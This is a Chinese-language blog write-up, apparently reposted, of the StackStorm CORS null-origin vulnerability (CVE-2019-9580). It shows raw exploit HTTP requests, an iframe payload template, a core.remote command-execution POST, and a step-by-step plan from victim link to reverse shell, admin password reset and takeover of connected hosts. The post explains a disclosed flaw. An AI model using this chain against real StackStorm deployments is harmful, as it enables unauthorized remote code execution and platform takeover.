• StackStorm利用CORS null origin获得RCE (CVE20199580)


    在2.10.3/2.9.3之前,如果请求的来源未知,我们将返回null,null可以导致某些客户端中来自未知来源的成功请求,允许针对StackStorm API进行XSS样式攻击。

    (Firefox上的用户是受害者,Chrome上的用户是攻击者)

    (Firefox上的用户是受害者,Chrome上的用户是攻击者)

    利用null CORS

    通过使用null Origin头向StackStorm API发送请求Origin:null,服务器以Access-Control-Allow-Originto 响应null

    GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
    Host: localhost:4443
    Origin: 443
    Referer: https://localhost:4443/
    x-auth-token: a19e39b9dff24e4798ba04c7036d0275

    服务器响应:

    Access-Control-Allow-Origin: null <-- hug hug hug
    Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
    Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
    Access-Control-Allow-Credentials: true
    Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

    portswigger博客文章中记录了利用null CORS ,我们可以找到以下payload:

    <iframe sandbox =“allow-scripts allow-top-navigation allow-forms”src ='data:text/html,
    <script>
    
    *注入你的恶意代码*
    
    </ SCRIPT>'> </ IFRAME>

    如何得到RCE呢?

    StackStorm允许配置操作,其中一些操作core.remote在您选择的主机上执行任意命令。

    因此,如果我们设置主机127.0.0.1,我们将在StackStorm docker上执行命令。很好,RCE应该没问题,因为发送一个简单的POST请求来注册一个动作

    POST /api/v1/executions HTTP/1.1
    Host: localhost:4443
    Origin: null
    Content-Type: application/json
    x-auth-token: a19e39b9dff24e4798ba04c7036d0275
    Content-Length: 131
    
    {"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

    接下来应该怎么做?

    我们可以在StackStorm的主机上执行命令,但是让我们完全控制StackStorm平台。可以通过重置管理员密码来解决此问题。使用文档:

    需要更改密码?运行:sudo htpasswd/etc/st2/ htpasswd st2admin

    https://docs.stackstorm.com/authentication.html

    OK,来理一下思路:

    1. 发送一个带有恶意代码的受害者链接,在主机127.0.0.1上行使一个新动作以执行一个arbirary命令
    2. 受害者点击链接并查看小马
    3. 由于CORS在使用标头发送请求时为空Origin: null,因此注册新操作的POST请求正在运行(我们还设置了参数credentials:"include"
    4. 操作是触发器和命令执行(反向shell)
    5. 攻击者重置管理员密码并获得对StackStorm平台的完全控制权
    6. 攻击者可以破坏注册到StackStorm的所有其他主机

  • 相关阅读:
    Keepalived详解(一):Keepalived介绍【转】
    Python运维开发基础06-语法基础【转】
    Python运维开发基础05-语法基础【转】
    Python运维开发基础04-语法基础【转】
    Python运维开发基础03-语法基础 【转】
    Python运维开发基础02-语法基础【转】
    Python运维开发基础01-语法基础【转】
    Shell编程中while与for的区别及用法详解【转】
    rsync+inotify实现实时同步案例【转】
    Linux查看压缩文件内容【转】
  • 原文地址:https://www.cnblogs.com/jiuhaotanyuan/p/10547683.html
Copyright © 2020-2023  润新知